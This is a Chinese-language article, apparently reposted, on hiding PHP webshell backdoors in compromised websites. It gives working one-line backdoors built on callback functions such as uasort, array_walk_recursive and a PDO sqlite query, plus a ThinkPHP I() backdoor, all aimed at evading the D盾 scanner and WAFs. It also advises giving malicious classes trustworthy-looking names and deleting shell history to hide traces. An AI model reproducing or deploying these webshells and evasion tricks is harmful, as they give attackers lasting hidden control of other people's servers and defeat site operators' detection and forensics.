奇淫異巧之 PHP 后門


整理大部分來源信安之路

對於隱蔽來說,有以下幾點要素:

1、熟悉環境,模擬環境,適應環境,像一只變色龍一樣隱藏

2、清除痕跡,避免運維發現

3、避免后門特征值被 D 盾等工具檢測到

姿勢

一般過狗思路

最一般的繞狗、后門思路就是

call_user_func('assert', $_REQUEST['pass'])

直接參數回調,將$_REQUEST['pass']傳入的數據,傳遞給 assert 函數去執行。

雙參數回調后門

在 PHP5.4.8+ 版本中,assert 有一個新的可選參數 descrition。所以較於之前的 PHP 版本,我們可以使用一些新的方式去進行調用,這些新的方式也暫時還沒有添加到D盾的特征匹配中。

Talk is cheap show me the code~

<?php
$e=$_REQUEST['e'];
$arr=array('test', $_REQUEST['pass']);
uasort($arr, base64_decode($e));

$_REQUEST['e'] 的話,傳遞 GET 或者 POST 參數都可以。

uasort 函數在手冊里這樣定義:

 

如果我們傳入的比較函數是 assert 的話,就會產生代碼執行。

先將參數保存為一個數組,傳入 'assert' 的 base64 編碼,使用 uasort 函數調用即可。

由此方法引申出的姿勢有:

一. 換為 uksort 函數:

<?php
$e=$_REQUEST['e'];
$arr=array('test'=>1, $_REQUEST['pass'] =>2);
uksort($arr, $e);

二. 面向對象的方法:

<?php
// way 0
$arr=new ArrayObject(array('test', $_REQUEST['pass']));
$arr->uasort('assert');

// way 1
$arr=new ArrayObject(array('test'=>1, $_REQUEST['pass'] =>2));
$arr->uksort('assert');

三. array_reduce

<?php
$e=$_REQUEST['e'];
$arr=array(1);
array_reduce($arr, $e, $_POST['pass']);

四. array_udiff

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass']);
$arr2=array(1);
array_udiff($arr, $arr2, $e);

三參數回調后門(array_walk_recursive)

上面的函數都是兩個參數,然后回調指定函數的,下面還有3個參數的:

<?php
$e=$_REQUEST['e'];
$arr=array($_POST['pass'] =>'|.*|e',);
array_walk_recursive($arr, $e, '');

這段代碼的最終效果是回調名字為 $e 的函數,$arr 數組中的$_POST[pass](鍵)作為回調函數的第一個參數,'|.*|e'作為第二個參數。''作為第三個參數。

有哪些函數是可以三個參數並且代碼執行or命令執行的呢?

最最常見的:preg_replace 函數在 e 修飾符條件下可以進行命令執行,原理可以看這個文章:

http://0day5.com/archives/4016/

最后的效果為:

preg_replace('|.*|e', '你的命令', '');

但 preg_replace 並不能直接用,因為 D 盾會將它作為特征值去檢測,我們可以換一些其它效果類似的函數:

mb_ereg_replace
preg_filter

sqlite 回調后門

如果可以使用 PDO 的話,可以用 sqlite 的 PDO 來執行代碼

<?php
$db=new PDO('sqlite::memory:');
$st=$db->query("SELECT 'phpinfo()'");
$re=$st->fetch
?>

隱蔽性滿滿的~

反序列化后門

之前說了要適應環境,增強隱蔽性,所以可以根據目標代碼,去添加一些惡意類,然后用反序列化漏洞來傳遞命令,並且可以通過捏造可信度比較高的的類名,在 index.php 中就直接引用,更不容易被發現。

傳輸過程中,還可以進行一些加密、混淆操作,來繞過waf端檢測。

思路可參照,前一陣子 typecho 爆出的反序列化漏洞:

https://www.th1s.cn/index.php/2017/10/25/138.html

thinkphp 特征后門

thinkphp 的自帶方法中,存在可以作為后門的 I 函數

具體代碼邏輯比較復雜,有興趣的同學可以移步P神的文章

https://www.leavesongs.com/PENETRATION/thinkphp-callback-backdoor.html

只要在可訪問的地方,加上一行代碼:

I('post.ph0rse','',I('get.i'));

就可以傳遞 GET 參數:i=assert, POST 參數 ph0rse=你的命令

並且可以遠連菜刀~

同樣,通過審計,在其它開源框架中其實也可以發現類似的留后門技巧。直接調用源類庫里的方法,再稍微加一點混淆和加密,就很難被發現了。

后話

真正的后門,要靠系統層

對於 PHP 后門來說,如果能做到隱蔽性,不會被D盾等工具自動檢測出來。人工查看時,一時半會兒也看不出有問題,其實就夠了。

受限於運維的日志審查,通過 PHP 去進行后滲透不太現實,PHP 后門最大的意義在於,留有一個通道。等其它通道關閉或者網站遷移(總要移代碼吧)時,能夠維持對目標站的控制。

而真正的后滲透操作,還是要考系統層的其它技巧,比如 shift 后門,ssh 后門,注冊表木馬等等~這些都是后話了~

擦除痕跡

想要讓后面隱蔽,除了以上幾點,還要清理好文件操作的痕跡。在 Linux 下就是刪除 .bash_history 和 .viminfo 的記錄,這些記錄顯示了你前段時間執行了哪些命令,修改了哪些文本。

 

而在 windows 下,就是在注冊表中做一些操作~

 

 


注意!

本站转载的文章为个人学习借鉴使用,本站对版权不负任何法律责任。如果侵犯了您的隐私权益,请联系我们删除。



 
粤ICP备14056181号  © 2014-2021 ITdaan.com